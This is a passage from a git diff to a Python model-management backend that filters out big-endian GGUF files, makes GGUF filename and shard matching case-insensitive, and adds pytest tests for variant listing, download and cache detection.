+        if f.lower().endswith(".gguf")
+        and not _is_companion_gguf_path(f)
+        and not _is_big_endian_gguf_path(f, variant_key)
+    ]
+    if not variant_key:
+        return sorted(main_files)
+
+    try:
+        from utils.models.model_config import _extract_quant_label
+    except Exception:
+        _extract_quant_label = None
+
+    if _extract_quant_label is not None:
+        try:
+            exact = sorted(f for f in main_files if _extract_quant_label(f).lower() == variant_key)
+            if exact:
+                return exact
+        except Exception as e:
+            logger.warning("Failed to extract GGUF quant labels: %s", e)
+
+    boundary = re.compile(r"(?<![a-zA-Z0-9])" + re.escape(variant_key) + r"(?![a-zA-Z0-9])")
+    return sorted(f for f in main_files if boundary.search(f.lower()))
+
+
 # Below this many B params, draft-mtp regresses vs spec-off (bench in
 # _build_speculative_flags); auto mode drops MTP under it.
 _MTP_MIN_SIZE_B = 3.0
@@ -1046,12 +1139,13 @@ class LlamaCppBackend:
                 m = _SHARD_RE.match(stem)
                 prefix = m.group(1) if m else None
                 if prefix and parent.is_dir():
+                    prefix_lower = prefix.lower()
                     for sibling in parent.iterdir():
                         if (
                             sibling.is_file()
-                            and sibling.name.startswith(prefix)
+                            and sibling.name.lower().startswith(prefix_lower)
                             and sibling.name != stem
-                            and sibling.suffix == ".gguf"
+                            and sibling.suffix.lower() == ".gguf"
                         ):
                             try:
                                 bytes_total += sibling.stat().st_size
@@ -1500,7 +1594,8 @@ class LlamaCppBackend:
         if m:
             prefix, _, num_total = m.group(1), m.group(2), m.group(3)
             sibling_pat = re.compile(
-                r"^" + re.escape(prefix) + r"-\d{5}-of-" + re.escape(num_total) + r"\.gguf$"
+                r"^" + re.escape(prefix) + r"-\d{5}-of-" + re.escape(num_total) + r"\.gguf$",
+                re.IGNORECASE,
             )
             for sibling in main.parent.iterdir():
                 if sibling != main and sibling_pat.match(sibling.name):
@@ -2319,7 +2414,11 @@ class LlamaCppBackend:
 
             files = list_repo_files(hf_repo, token = hf_token)
             gguf_files = [
-                f for f in files if f.endswith(".gguf") and not _is_companion_gguf_path(f)
+                f
+                for f in files
+                if f.lower().endswith(".gguf")
+                and not _is_companion_gguf_path(f)
+                and not _is_big_endian_gguf_path(f)
             ]
             if not gguf_files:
                 return None
@@ -2912,27 +3011,10 @@ class LlamaCppBackend:
                 from huggingface_hub import list_repo_files
 
                 files = list_repo_files(hf_repo, token = hf_token)
-                variant_lower = hf_variant.lower()
-                boundary = re.compile(
-                    r"(?<![a-zA-Z0-9])" + re.escape(variant_lower) + r"(?![a-zA-Z0-9])"
-                )
-                gguf_files = sorted(
-                    f
-                    for f in files
-                    if f.endswith(".gguf")
-                    and boundary.search(f.lower())
-                    and not _is_companion_gguf_path(f)
-                )
+                gguf_files = _gguf_files_for_variant(files, hf_variant)
                 if gguf_files:
                     gguf_filename = gguf_files[0]
-                    m = _SHARD_FULL_RE.match(gguf_filename)
-                    if m:
-                        prefix = m.group(1)
-                        total = m.group(3)
-                        sibling_pat = re.compile(
-                            r"^" + re.escape(prefix) + r"-\d{5}-of-" + re.escape(total) + r"\.gguf$"
-                        )
-                        gguf_extra_shards = [f for f in gguf_files[1:] if sibling_pat.match(f)]
+                    gguf_extra_shards = _gguf_extra_shards(gguf_files, gguf_filename)
             except Exception as e:
                 logger.warning(f"Could not list repo files: {e}")
 
@@ -2944,33 +3026,13 @@ class LlamaCppBackend:
             if not gguf_filename:
                 try:
                     from utils.models.model_config import _iter_hf_cache_snapshots
-                    boundary = re.compile(
-                        r"(?<![a-zA-Z0-9])" + re.escape(hf_variant.lower()) + r"(?![a-zA-Z0-9])"
-                    )
                     for snap in _iter_hf_cache_snapshots(hf_repo):
-                        matches = sorted(
-                            p.relative_to(snap).as_posix()
-                            for p in snap.rglob("*.gguf")
-                            if not _is_companion_gguf_path(p.relative_to(snap).as_posix())
-                            and boundary.search(p.relative_to(snap).as_posix().lower())
-                        )
+                        cached_files = _gguf_snapshot_files(snap)
+                        matches = _gguf_files_for_variant(cached_files, hf_variant)
                         if not matches:
                             continue
                         gguf_filename = matches[0]
-                        m = _SHARD_FULL_RE.match(Path(gguf_filename).name)
-                        if m:
-                            prefix = m.group(1)
-                            total = m.group(3)
-                            sibling_pat = re.compile(
-                                r"^"
-                                + re.escape(prefix)
-                                + r"-\d{5}-of-"
-                                + re.escape(total)
-                                + r"\.gguf$"
-                            )
-                            gguf_extra_shards = [
-                                f for f in matches[1:] if sibling_pat.match(Path(f).name)
-                            ]
+                        gguf_extra_shards = _gguf_extra_shards(matches, gguf_filename)
                         logger.info(
                             "Resolved variant %s -> %s from local HF cache",
                             hf_variant,
@@ -3050,10 +3112,11 @@ class LlamaCppBackend:
                         _m = _SHARD_RE.match(gguf_filename)
                         _prefix = _m.group(1) if _m else None
                         if _prefix:
+                            prefix_lower = _prefix.lower()
                             gguf_extra_shards = sorted(
                                 f
                                 for f in all_gguf_files
-                                if f.startswith(_prefix)
+                                if f.lower().startswith(prefix_lower)
                                 and f != gguf_filename
                                 and not _is_companion_gguf_path(f)
                             )
@@ -3138,7 +3201,7 @@ class LlamaCppBackend:
             try:
                 from utils.models.model_config import _iter_hf_cache_snapshots
                 for snap in _iter_hf_cache_snapshots(hf_repo):
-                    rel_files = [p.relative_to(snap).as_posix() for p in snap.rglob("*.gguf")]
+                    rel_files = _gguf_snapshot_files(snap)
                     target = pick(rel_files)
                     if target is not None:
                         logger.info("Resolved %s %s from local HF cache", label, target)
diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 0b4671c6d2..095e3de641 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -26,6 +26,7 @@ from hub.utils.hf_cache_state import (
 from hub.utils.gguf import (
     extract_quant_label,
     iter_hf_cache_snapshots,
+    is_big_endian_gguf_path,
     list_gguf_variants,
     list_gguf_variants_from_hf_cache,
     list_local_gguf_variants,
@@ -482,7 +483,10 @@ async def get_gguf_variants_response(
                     by_filename[key] = max(by_filename.get(key, 0), size)
                     if _is_mmproj_filename(f.name) or _is_mtp_drafter_path(rel):
                         continue
-                    q = extract_quant_label(rel).lower()
+                    q = extract_quant_label(rel)
+                    if is_big_endian_gguf_path(rel, q):
+                        continue
+                    q = q.lower()
                     by_quant[q] = by_quant.get(q, 0) + size
                 if by_filename:
                     cached_filenames_by_snapshot.append(by_filename)
diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index 44ab4b80d0..df97b9cf97 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -78,6 +78,28 @@ class TestExtractQuantToken:
         assert labels == {"Q4_K_M", "Q8_0"}
 
 
+def test_big_endian_detection_ignores_model_name_be_token():
+    assert gguf.is_big_endian_gguf_path("model-Q4_K_M-be.gguf", "Q4_K_M")
+    assert gguf.is_big_endian_gguf_path("model-Q4_K_M_be_infill.gguf", "Q4_K_M")
+    assert not gguf.is_big_endian_gguf_path("foo-be-Q4_K_M.gguf", "Q4_K_M")
+    assert not gguf.is_big_endian_gguf_path("Q4_K_M/foo-be.gguf", "Q4_K_M")
+    assert gguf.pick_best_gguf(["model-Q4_K_M-be.gguf", "model-Q4_K_M.gguf"]) == (
+        "model-Q4_K_M.gguf"
+    )
+
+
+def test_list_local_gguf_variants_skips_big_endian_sibling(tmp_path):
+    (tmp_path / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 100)
+    (tmp_path / "model-Q4_K_M.gguf").write_bytes(b"y" * 10)
+
+    variants, has_vision = gguf.list_local_gguf_variants(str(tmp_path))
+
+    assert has_vision is False
+    assert [(v.quant, v.filename, v.size_bytes) for v in variants] == [
+        ("Q4_K_M", "model-Q4_K_M.gguf", 10)
+    ]
+
+
 @pytest.mark.parametrize("repo_id", ["bert-base-uncased", "owner/repo"])
 def test_repo_id_validation_accepts_hf_repo_id_contract(repo_id):
     assert paths.is_valid_repo_id(repo_id)
@@ -304,6 +326,22 @@ def test_gguf_variant_requirements_include_split_files_and_preferred_mmproj():
     )
 
 
+def test_gguf_variant_requirements_skip_big_endian_sibling():
+    requirements = gguf_variants._build_gguf_variant_requirements(
+        [
+            _sibling("model-Q4_K_M-be.gguf", 100, "main-be"),
+            _sibling("model-Q4_K_M.gguf", 10, "main-le"),
+        ]
+    )
+
+    req = requirements["q4_k_m"]
+
+    assert req.main_size_bytes == 10
+    assert req.main_hashes == frozenset({"main-le"})
+    assert req.main_filenames == frozenset({"model-Q4_K_M.gguf"})
+    assert req.target_filenames == ("model-Q4_K_M.gguf",)
+
+
 def test_worker_gguf_variant_plan_matches_service_requirement(monkeypatch):
     siblings = [
         _sibling("model-Q4_K_M-00001-of-00002.gguf", 10, "main-a"),
diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py
index c9b3ce97e3..4eb8180628 100644
--- a/studio/backend/hub/utils/gguf.py
+++ b/studio/backend/hub/utils/gguf.py
@@ -109,6 +109,33 @@ def is_gguf_filename(filename: str) -> bool:
     return filename.lower().endswith(".gguf")
 
 
+_BIG_ENDIAN_GGUF_FILENAME_RE = re.compile(r"(^|[-_])be(?:[._-]|$)", re.IGNORECASE)
+
+
+def is_big_endian_gguf_path(path: str, quant: str = "") -> bool:
+    normalized = path.replace("\\", "/")
+    name = normalized.rsplit("/", 1)[-1]
+    stem = name.rsplit(".", 1)[0].lower()
+    quant_key = quant.strip().lower()
+    quant_index = stem.find(quant_key) if quant_key else -1
+    parent = normalized.rsplit("/", 1)[0].lower() if "/" in normalized else ""
+    quant_in_parent_only = (
+        bool(parent)
+        and quant_index < 0
+        and (
+            (quant_key and quant_key in parent)
+            or (not quant_key and _GGUF_QUANT_RE.search(parent) is not None)
+        )
+    )
+    for match in _BIG_ENDIAN_GGUF_FILENAME_RE.finditer(stem):
+        if quant_index >= 0 and quant_index < match.start():
+            return True
+        tail = stem[match.end() :].lstrip("._-")
+        if not tail or _GGUF_QUANT_RE.search(tail) is None:
+            return not quant_in_parent_only
+    return False
+
+
 # Cap recursive walks so a huge or system path cannot run unbounded.
 _MAX_LOCAL_SCAN_ENTRIES = 100_000
 
@@ -143,7 +170,10 @@ def pick_best_gguf(filenames: list[str]) -> Optional[str]:
     gguf_files = [
         name
         for name in filenames
-        if is_gguf_filename(name) and not is_mmproj_filename(name) and not is_mtp_drafter_path(name)
+        if is_gguf_filename(name)
+        and not is_mmproj_filename(name)
+        and not is_mtp_drafter_path(name)
+        and not is_big_endian_gguf_path(name, extract_quant_label(name))
     ]
     if not gguf_files:
         return None
@@ -372,6 +402,8 @@ def list_gguf_variants(
             has_vision = True
             continue
         quant = extract_quant_label(filename)
+        if is_big_endian_gguf_path(filename, quant):
+            continue
         quant_totals[quant] = quant_totals.get(quant, 0) + int(getattr(sibling, "size", 0) or 0)
         quant_first_file.setdefault(quant, filename)
 
@@ -424,6 +456,8 @@ def list_local_gguf_variants(directory: str) -> tuple[list[GgufVariantInfo], boo
         if is_mtp_drafter_path(rel):
             continue
         quant = extract_quant_label(rel)
+        if is_big_endian_gguf_path(rel, quant):
+            continue
         quant_totals[quant] = quant_totals.get(quant, 0) + size
         quant_first_file.setdefault(quant, rel)
 
diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py
index 60782fa109..40d5a32549 100644
--- a/studio/backend/hub/utils/gguf_plan.py
+++ b/studio/backend/hub/utils/gguf_plan.py
@@ -9,6 +9,7 @@ from typing import Optional, Sequence
 from hub.utils.download_manifest import ExpectedFile
 from hub.utils.gguf import (
     extract_quant_label,
+    is_big_endian_gguf_path,
     is_gguf_filename,
     is_mmproj_filename,
     is_mtp_drafter_path,
@@ -68,6 +69,7 @@ def is_main_gguf_variant_path(path: str, variant: str) -> bool:
         is_gguf_filename(path)
         and not is_mmproj_filename(path)
         and not is_mtp_drafter_path(path)
+        and not is_big_endian_gguf_path(path, variant)
         and extract_quant_label(path).lower() == variant.lower()
     )
 
@@ -140,6 +142,8 @@ def build_gguf_variant_plans(siblings: Sequence) -> dict[str, GgufVariantPlan]:
         if is_mmproj_filename(name) or is_mtp_drafter_path(name):
             continue
         quant = extract_quant_label(name).lower()
+        if is_big_endian_gguf_path(name, quant):
+            continue
         main.setdefault(quant, []).append(sibling)
 
     plans: dict[str, GgufVariantPlan] = {}
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index a2f2eca81b..6835126e62 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -81,6 +81,7 @@ try:
     from utils.models.model_config import (
         _pick_best_gguf,
         _extract_quant_label,
+        _is_big_endian_gguf_path,
         is_audio_input_type,
     )
     from core.inference import get_inference_backend
@@ -112,6 +113,7 @@ except ImportError:
     from utils.models.model_config import (
         _pick_best_gguf,
         _extract_quant_label,
+        _is_big_endian_gguf_path,
         is_audio_input_type,
     )
     from core.inference import get_inference_backend
@@ -2106,7 +2108,11 @@ async def get_gguf_variants(
                                     size = f.stat().st_size
                                 except OSError:
                                     continue  # broken symlink / unreadable: skip
-                                q = _extract_quant_label(f.name).lower()
+                                rel = f.relative_to(snap).as_posix()
+                                q = _extract_quant_label(rel)
+                                if _is_big_endian_gguf_path(rel, q):
+                                    continue
+                                q = q.lower()
                                 by_quant[q] = by_quant.get(q, 0) + size
                             if by_quant:
                                 cached_bytes_by_quant_per_snapshot.append(by_quant)
@@ -2182,8 +2188,12 @@ async def get_gguf_download_progress(
                 for f in _iter_gguf_paths(entry):
                     if _is_mmproj_filename(f.name):
                         continue
-                    fname = f.name.lower().replace("-", "").replace("_", "")
-                    if not variant_lower or variant_lower in fname:
+                    rel = f.relative_to(entry).as_posix()
+                    quant = _extract_quant_label(rel)
+                    if _is_big_endian_gguf_path(rel, quant):
+                        continue
+                    rel_key = rel.lower().replace("-", "").replace("_", "")
+                    if not variant_lower or variant_lower in rel_key:
                         try:
                             downloaded_bytes += f.stat().st_size
                         except OSError:
diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py
index 5a4ca68ab4..6409aef11e 100644
--- a/studio/backend/tests/test_cached_gguf_routes.py
+++ b/studio/backend/tests/test_cached_gguf_routes.py
@@ -503,6 +503,58 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
     assert flags["F16"] is False
 
 
+def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
+    import huggingface_hub.constants as hf_constants
+
+    siblings = [
+        SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100),
+        SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10),
+    ]
+    monkeypatch.setattr(
+        "huggingface_hub.model_info",
+        lambda *_args, **_kwargs: SimpleNamespace(siblings = siblings),
+    )
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+
+    snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
+    snap.mkdir(parents = True)
+    (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10)
+
+    result = asyncio.run(
+        models_route.get_gguf_variants(
+            repo_id = "org/repo", hf_token = None, current_subject = "test-user"
+        )
+    )
+
+    assert [(v.quant, v.filename, v.size_bytes, v.downloaded) for v in result.variants] == [
+        ("Q4_K_M", "model-Q4_K_M.gguf", 10, True)
+    ]
+
+
+def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, tmp_path):
+    import huggingface_hub.constants as hf_constants
+
+    variants = [
+        SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10),
+    ]
+    monkeypatch.setattr(
+        models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, False)
+    )
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+
+    snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
+    snap.mkdir(parents = True)
+    (snap / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 10)
+
+    result = asyncio.run(
+        models_route.get_gguf_variants(
+            repo_id = "org/repo", hf_token = None, current_subject = "test-user"
+        )
+    )
+
+    assert result.variants[0].downloaded is False
+
+
 def test_gguf_download_progress_excludes_mmproj(monkeypatch, tmp_path):
     """A cached mmproj adapter must not count toward a same-label main
     variant's download progress (mmproj-F16 vs an F16 weight)."""
@@ -524,3 +576,45 @@ def test_gguf_download_progress_excludes_mmproj(monkeypatch, tmp_path):
 
     assert result["downloaded_bytes"] == 0
     assert result["progress"] == 0
+
+
+def test_gguf_download_progress_excludes_big_endian_sibling(monkeypatch, tmp_path):
+    import huggingface_hub.constants as hf_constants
+
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
+    snap.mkdir(parents = True)
+    (snap / "model-Q4_K_M-be.gguf").write_bytes(b"y" * 20_000)
+
+    result = asyncio.run(
+        models_route.get_gguf_download_progress(
+            repo_id = "org/repo",
+            variant = "Q4_K_M",
+            expected_bytes = 20_000,
+            current_subject = "test-user",
+        )
+    )
+
+    assert result["downloaded_bytes"] == 0
+    assert result["progress"] == 0
+
+
+def test_gguf_download_progress_counts_quant_subdir(monkeypatch, tmp_path):
+    import huggingface_hub.constants as hf_constants
+
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    snap = tmp_path / "models--org--repo" / "snapshots" / "rev" / "Q4_K_M"
+    snap.mkdir(parents = True)
+    (snap / "foo.gguf").write_bytes(b"x" * 20_000)
+
+    result = asyncio.run(
+        models_route.get_gguf_download_progress(
+            repo_id = "org/repo",
+            variant = "Q4_K_M",
+            expected_bytes = 20_000,
+            current_subject = "test-user",
+        )
+    )
+
+    assert result["downloaded_bytes"] == 20_000
+    assert result["progress"] == 1.0
diff --git a/studio/backend/tests/test_export_absolute_paths.py b/studio/backend/tests/test_export_absolute_paths.py
index f333a590c2..d62c2a5e61 100644
--- a/studio/backend/tests/test_export_absolute_paths.py
+++ b/studio/backend/tests/test_export_absolute_paths.py
@@ -156,6 +156,7 @@ def _install_lightweight_backend_stubs(monkeypatch):
     utils_model_config = types.ModuleType("utils.models.model_config")
     utils_model_config._pick_best_gguf = lambda variants: variants[0] if variants else None
     utils_model_config._extract_quant_label = lambda value: value
+    utils_model_config._is_big_endian_gguf_path = lambda *args, **kwargs: False
     utils_model_config.is_audio_input_type = lambda *args, **kwargs: None
     monkeypatch.setitem(
         sys.modules,
diff --git a/studio/backend/tests/test_gguf_routing.py b/studio/backend/tests/test_gguf_routing.py
index 8a8bff69aa..9fd83da209 100644
--- a/studio/backend/tests/test_gguf_routing.py
+++ b/studio/backend/tests/test_gguf_routing.py
@@ -83,6 +83,23 @@ def test_detects_gguf_in_directory(tmp_path):
     assert result.endswith("model-Q4_K_M.gguf")
 
 
+def test_directory_auto_detect_ignores_big_endian_sibling(tmp_path):
+    be = tmp_path / "model-Q4_K_M-be.gguf"
+    be.write_bytes(b"x" * 100)
+    target = tmp_path / "model-Q4_K_M.gguf"
+    target.write_bytes(b"y" * 10)
+
+    result = detect_gguf_model(str(tmp_path))
+    assert result == str(target.resolve())
+
+
+def test_direct_big_endian_file_is_not_detected(tmp_path):
+    gguf = tmp_path / "model-Q4_K_M-be.gguf"
+    gguf.write_bytes(b"")
+
+    assert detect_gguf_model(str(gguf)) is None
+
+
 def test_directory_named_like_gguf_scans_inside(tmp_path):
     """A directory named *.gguf resolves the real .gguf inside, not itself."""
     gguf_dir = tmp_path / "mymodel.gguf"
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index aab58adfff..a9e0b98247 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -79,6 +79,7 @@ from huggingface_hub import constants as hf_constants
 
 from core.inference.llama_cpp import (
     LlamaCppBackend,
+    _gguf_files_for_variant,
     _hf_offline_if_dns_dead,
     _probe_dns_dead,
 )
@@ -130,6 +131,155 @@ def clean_offline_env(monkeypatch):
     monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
 
 
+class TestGgufVariantFileResolution:
+    def test_prefers_exact_unknown_variant_over_big_endian_sibling(self):
+        files = [
+            "tinyllamas/stories260K-be.gguf",
+            "tinyllamas/stories260K-infill.gguf",
+            "tinyllamas/stories260K.gguf",
+        ]
+
+        assert _gguf_files_for_variant(files, "stories260K") == ["tinyllamas/stories260K.gguf"]
+
+    @pytest.mark.parametrize(
+        "big_endian_path",
+        [
+            "model-Q4_K_M-be.gguf",
+            "model-Q4_K_M_be.gguf",
+            "model-Q4_K_M_be_infill.gguf",
+            r"nested\model-Q4_K_M_be.gguf",
+        ],
+    )
+    def test_filters_big_endian_known_quant_before_exact_match(self, big_endian_path):
+        files = [
+            big_endian_path,
+            "model-Q4_K_M.gguf",
+        ]
+
+        assert _gguf_files_for_variant(files, "Q4_K_M") == ["model-Q4_K_M.gguf"]
+
+    def test_keeps_model_name_be_token_before_quant(self):
+        files = [
+            "foo-be-Q4_K_M.gguf",
+        ]
+
+        assert _gguf_files_for_variant(files, "Q4_K_M") == ["foo-be-Q4_K_M.gguf"]
+
+    def test_keeps_model_name_be_token_with_quant_subdir(self):
+        files = [
+            "Q4_K_M/foo-be.gguf",
+        ]
+
+        assert _gguf_files_for_variant(files, "Q4_K_M") == ["Q4_K_M/foo-be.gguf"]
+
+    def test_empty_variant_filters_big_endian_files(self):
+        files = [
+            "model-Q4_K_M-be.gguf",
+            "model-Q4_K_M.gguf",
+        ]
+
+        assert _gguf_files_for_variant(files, "") == ["model-Q4_K_M.gguf"]
+
+    def test_remote_listing_skips_big_endian_quant_sibling(self, monkeypatch, clean_offline_env):
+        siblings = [
+            _types.SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100),
+            _types.SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10),
+        ]
+        monkeypatch.setattr(
+            "huggingface_hub.model_info",
+            lambda *_args, **_kwargs: _types.SimpleNamespace(siblings = siblings),
+        )
+
+        variants, has_vision = list_gguf_variants("org/repo")
+
+        assert has_vision is False
+        assert [(v.quant, v.filename, v.size_bytes) for v in variants] == [
+            ("Q4_K_M", "model-Q4_K_M.gguf", 10)
+        ]
+
+    def test_download_uses_exact_variant_label(self, monkeypatch, tmp_path):
+        backend = LlamaCppBackend()
+        downloaded: list[str] = []
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 1) for path in paths if path is not None]
+
+        def fake_download(
+            *,
+            repo_id,
+            filename,
+            token = None,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        with (
+            patch(
+                "huggingface_hub.list_repo_files",
+                lambda *_a, **_k: [
+                    "tinyllamas/stories260K-be.gguf",
+                    "tinyllamas/stories260K-infill.gguf",
+                    "tinyllamas/stories260K.gguf",
+                ],
+            ),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("huggingface_hub.hf_hub_download", fake_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = "ggml-org/models",
+                hf_variant = "stories260K",
+            )
+
+        assert downloaded == ["tinyllamas/stories260K.gguf"]
+        assert out == "/fake/ggml-org/models/tinyllamas/stories260K.gguf"
+
+    def test_download_includes_uppercase_split_gguf_shards(self, monkeypatch, tmp_path):
+        backend = LlamaCppBackend()
+        downloaded: list[str] = []
+
+        files = [
+            "model-Q4_K_M-00001-of-00002.GGUF",
+            "model-Q4_K_M-00002-of-00002.GGUF",
+        ]
+
+        def fake_get_paths_info(
+            _repo_id,
+            paths,
+            token = None,
+        ):
+            return [_types.SimpleNamespace(path = path, size = 1) for path in paths if path is not None]
+
+        def fake_download(
+            *,
+            repo_id,
+            filename,
+            token = None,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("huggingface_hub.hf_hub_download", fake_download),
+        ):
+            out = backend._download_gguf(
+                hf_repo = "org/repo",
+                hf_variant = "Q4_K_M",
+            )
+
+        assert downloaded == files
+        assert out == "/fake/org/repo/model-Q4_K_M-00001-of-00002.GGUF"
+
+
 def _siblings(items: dict[str, int]):
     """Mock ``hf_model_info(...).siblings`` payload."""
     return _types.SimpleNamespace(
@@ -268,6 +418,22 @@ class TestDetectGgufFromCache:
             out == "BF16/foo.gguf"
         ), f"subdir-only layout must resolve to relative path, got {out}"
 
+    def test_subdir_quant_keeps_be_model_name_token(self, hf_cache):
+        _build_cache(
+            hf_cache,
+            "unsloth/a",
+            {"Q4_K_M/foo-be.gguf": 1},
+        )
+        assert _detect_gguf_from_hf_cache("unsloth/a") == "Q4_K_M/foo-be.gguf"
+
+    def test_big_endian_only_cache_is_not_detected(self, hf_cache):
+        _build_cache(
+            hf_cache,
+            "unsloth/a",
+            {"model-Q4_K_M-be.gguf": 1},
+        )
+        assert _detect_gguf_from_hf_cache("unsloth/a") is None
+
     def test_returns_none_when_no_gguf(self, hf_cache):
         _build_cache(hf_cache, "unsloth/a", {"README.md": 10})
         assert _detect_gguf_from_hf_cache("unsloth/a") is None
@@ -298,6 +464,17 @@ class TestDetectGgufModelRemoteOffline:
             out = detect_gguf_model_remote("unsloth/a")
         assert out == "a-Q4_K_M.gguf"
 
+    def test_remote_big_endian_only_repo_is_not_detected(self, clean_offline_env, monkeypatch):
+        siblings = [
+            _types.SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf"),
+        ]
+        monkeypatch.setattr(
+            "huggingface_hub.model_info",
+            lambda *_args, **_kwargs: _types.SimpleNamespace(siblings = siblings),
+        )
+
+        assert detect_gguf_model_remote("unsloth/a") is None
+
     def test_repository_not_found_does_not_consult_cache(self, hf_cache, clean_offline_env):
         # Cache has a file but the API says the repo is gone.
         _build_cache(hf_cache, "unsloth/a", {"a-Q4_K_M.gguf": 1})
@@ -566,6 +743,49 @@ class TestListLocalGgufVariantsSubdir:
         assert out is not None
         assert Path(out).name == "foo.gguf"
 
+    def test_find_local_gguf_by_variant_ignores_big_endian_sibling(self, tmp_path):
+        from utils.models.model_config import _find_local_gguf_by_variant
+
+        (tmp_path / "config.json").write_text("{}")
+        (tmp_path / "model-Q4_K_M-be.gguf").write_bytes(b"\0" * 10)
+        target = tmp_path / "model-Q4_K_M.gguf"
+        target.write_bytes(b"\0" * 20)
+
+        out = _find_local_gguf_by_variant(str(tmp_path), "Q4_K_M")
+        assert out == str(target.resolve())
+
+    def test_find_local_gguf_by_variant_skips_big_endian_only_match(self, tmp_path):
+        from utils.models.model_config import _find_local_gguf_by_variant
+
+        (tmp_path / "config.json").write_text("{}")
+        (tmp_path / "model-Q4_K_M-be.gguf").write_bytes(b"\0" * 10)
+
+        assert _find_local_gguf_by_variant(str(tmp_path), "Q4_K_M") is None
+
+    def test_model_config_variant_ignores_big_endian_sibling(self, tmp_path):
+        from utils.models.model_config import ModelConfig
+
+        (tmp_path / "config.json").write_text("{}")
+        (tmp_path / "model-Q4_K_M-be.gguf").write_bytes(b"\0" * 10)
+        target = tmp_path / "model-Q4_K_M.gguf"
+        target.write_bytes(b"\0" * 20)
+
+        config = ModelConfig.from_identifier(str(tmp_path), gguf_variant = "Q4_K_M")
+        assert config is not None
+        assert config.gguf_file == str(target.resolve())
+
+    def test_local_variant_listing_keeps_subdir_be_model_name_token(self, tmp_path):
+        from utils.models.model_config import list_local_gguf_variants
+
+        (tmp_path / "config.json").write_text("{}")
+        (tmp_path / "Q4_K_M").mkdir()
+        (tmp_path / "Q4_K_M" / "foo-be.gguf").write_bytes(b"\0" * 10)
+
+        variants, _ = list_local_gguf_variants(str(tmp_path))
+        assert [(v.quant, v.filename, v.size_bytes) for v in variants] == [
+            ("Q4_K_M", "Q4_K_M/foo-be.gguf", 10)
+        ]
+
 
 class TestListGgufVariantsPermanentErrors:
     """Permanent HF errors must surface; cache fallback only on transient."""
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 7245343eeb..83cd281c2e 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -25,6 +25,7 @@ from utils.models.gguf_metadata import (
 import structlog
 from loggers import get_logger
 import os
+import re
 import subprocess
 import sys
 from pathlib import Path
@@ -1235,7 +1236,9 @@ def detect_gguf_model(path: str) -> Optional[str]:
         # (-m drafter --model-draft drafter). Include the immediate parent
         # dir so the MTP/ subdir copies are caught -- the basename alone
         # (...-MTP.gguf) doesn't match the predicate's mtp- prefix.
-        if _is_mmproj(p.name) or _is_mtp_drafter(f"{p.parent.name}/{p.name}"):
+        rel = f"{p.parent.name}/{p.name}"
+        quant = _extract_quant_label(rel)
+        if _is_mmproj(p.name) or _is_mtp_drafter(rel) or _is_big_endian_gguf_path(rel, quant):
             return None
         # Extension is authoritative: don't gate on is_file()/exists(), which
         # can fail in the Windows lock window after llama-server is killed.
@@ -1249,15 +1252,18 @@ def detect_gguf_model(path: str) -> Optional[str]:
 
     # Case 2: directory containing .gguf files (skip mmproj / MTP drafter)
     if p.is_dir():
-        gguf_files = sorted(
-            (
-                f
-                for f in _iter_gguf_files(p)
-                if not _is_mmproj(f.name) and not _is_mtp_drafter(f"{f.parent.name}/{f.name}")
